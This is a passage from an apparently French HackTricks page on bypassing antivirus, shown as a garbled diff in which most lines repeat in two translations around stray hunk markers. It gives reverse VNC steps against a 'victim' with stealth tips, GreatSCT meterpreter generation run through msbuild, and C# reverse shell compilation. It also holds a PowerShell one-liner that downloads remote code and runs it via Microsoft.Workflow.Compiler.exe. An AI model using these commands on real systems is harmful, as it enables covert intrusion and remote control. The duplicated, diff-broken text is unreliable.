* Définissez un mot de passe dans _View-Only Password_
Ensuite, déplacez le binaire _**winvnc.exe**_ et le fichier nouvellement créé _**UltraVNC.ini**_ à l'intérieur de la **victime**
Ensuite, déplacez le binaire _**winvnc.exe**_ et le fichier _**UltraVNC.ini**_ **nouvellement** créé à l'intérieur de la **victime**
#### **Connexion inversée**
L'**attaquant** doit **exécuter à l'intérieur** de son **hôte** le binaire `vncviewer.exe -listen 5900` afin qu'il soit **prêt** à capturer une connexion **VNC inversée**. Ensuite, à l'intérieur de la **victime** : démarrez le démon winvnc `winvnc.exe -run` et exécutez `winwnc.exe [-autoreconnect] -connect <adresse_ip_attaquant>::5900`
L'**attaquant** doit **exécuter sur** son **hôte** le binaire `vncviewer.exe -listen 5900` pour qu'il soit **préparé** à recevoir une **connexion VNC inversée**. Puis, à l'intérieur de la **victime** : Démarrez le daemon winvnc `winvnc.exe -run` et exécutez `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**AVERTISSEMENT** : Pour maintenir la discrétion, vous ne devez pas faire certaines choses
**ATTENTION :** Pour rester discret, vous ne devez pas faire certaines choses
* Ne démarrez pas `winvnc` s'il est déjà en cours d'exécution, sinon vous déclencherez une [fenêtre contextuelle](https://i.imgur.com/1SROTTl.png). Vérifiez s'il est en cours d'exécution avec `tasklist | findstr winvnc`
* Ne démarrez pas `winvnc` sans `UltraVNC.ini` dans le même répertoire, sinon cela ouvrira [la fenêtre de configuration](https://i.imgur.com/rfMQWcf.png)
* Ne lancez pas `winvnc -h` pour obtenir de l'aide, sinon vous déclencherez une [fenêtre contextuelle](https://i.imgur.com/oc18wcu.png)
* Ne démarrez pas `winvnc` s'il est déjà en cours d'exécution ou vous déclencherez un [popup](https://i.imgur.com/1SROTTl.png). Vérifiez s'il est en cours avec `tasklist | findstr winvnc`
* Ne démarrez pas `winvnc` sans `UltraVNC.ini` dans le même répertoire ou cela ouvrira [la fenêtre de configuration](https://i.imgur.com/rfMQWcf.png)
* Ne lancez pas `winvnc -h` pour de l'aide ou vous déclencherez un [popup](https://i.imgur.com/oc18wcu.png)
### GreatSCT
@ -403,35 +388,7 @@ cd GreatSCT/setup/
cd ..
./GreatSCT.py
```
À l'intérieur de GreatSCT :
## Bypassing Antivirus (AV)
Lors de la réalisation de tests de pénétration, il est souvent nécessaire de contourner les logiciels antivirus (AV) pour exécuter des charges utiles sans être détecté. Les AV utilisent des signatures et des heuristiques pour identifier les logiciels malveillants, ce qui peut rendre difficile l'exécution de codes malveillants sans être détecté.
Il existe plusieurs techniques pour contourner les AV, et GreatSCT offre plusieurs options pour vous aider à y parvenir.
### Encodage
L'encodage est une technique couramment utilisée pour contourner les AV. Il consiste à modifier le code malveillant en utilisant des algorithmes d'encodage pour masquer sa véritable nature. GreatSCT propose plusieurs options d'encodage, notamment Base64, Hex, et URL.
### Cryptage
Le cryptage est une autre technique efficace pour contourner les AV. Il consiste à chiffrer le code malveillant à l'aide d'un algorithme de chiffrement, ce qui rend difficile sa détection par les AV. GreatSCT prend en charge le cryptage AES pour vous aider à contourner les AV.
### Polymorphisme
Le polymorphisme est une technique avancée qui consiste à modifier dynamiquement le code malveillant à chaque exécution, ce qui rend difficile sa détection par les AV. GreatSCT propose des options de polymorphisme pour vous aider à créer des charges utiles uniques à chaque exécution.
### Furtivité
La furtivité est une caractéristique importante lors de la création de charges utiles pour contourner les AV. GreatSCT offre des fonctionnalités pour vous aider à rendre vos charges utiles furtives en évitant les détections basées sur les signatures et les heuristiques des AV.
### Tests d'AV
GreatSCT propose également des fonctionnalités pour tester vos charges utiles contre différents AV. Cela vous permet de vérifier l'efficacité de vos techniques de contournement et de vous assurer que vos charges utiles ne sont pas détectées par les AV.
En utilisant les fonctionnalités de contournement des AV de GreatSCT, vous pouvez créer des charges utiles efficaces et furtives pour vos tests de pénétration.
Inside GreatSCT:
```
use 1
list #Listing available payloads
@ -441,19 +398,19 @@ sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole
```
Maintenant, **démarrez le lister** avec `msfconsole -r file.rc` et **exécutez** la **charge utile xml** avec:
Maintenant **démarrez le lister** avec `msfconsole -r file.rc` et **exécutez** le **payload xml** avec :
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
**Le défenseur actuel va terminer le processus très rapidement.**
**Le Defender actuel terminera le processus très rapidement.**
### Compilation de notre propre shell inversé
### Compiler notre propre reverse shell
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
#### Premier shell inversé en C#
#### Premier Revershell C#
Compilez-le avec:
Compilez-le avec :
```
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
```
@ -533,16 +490,10 @@ catch (Exception err) { }
}
}
```
[https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple\_Rev\_Shell.cs](https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple\_Rev\_Shell.cs)
### C# en utilisant le compilateur
### C# avec compilateur
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
```
[REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066)
[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
Téléchargement et exécution automatiques :
```csharp
64bit:
@ -551,28 +502,14 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
```
{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
Liste des obfuscateurs C# : [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
### C++
La liste des obfuscateurs C# : [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
```
sudo apt-get install mingw-w64
i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
```
[https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp](https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp)
Merlin, Empire, Puppy, SalsaTools [https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/](https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/)
[https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf)
https://github.com/l0ss/Grouper2
{% embed url="http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html" %}
{% embed url="http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/" %}
### Autres outils
```bash
# Veil Framework:
@ -606,10 +543,10 @@ https://github.com/praetorian-code/vulcan
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>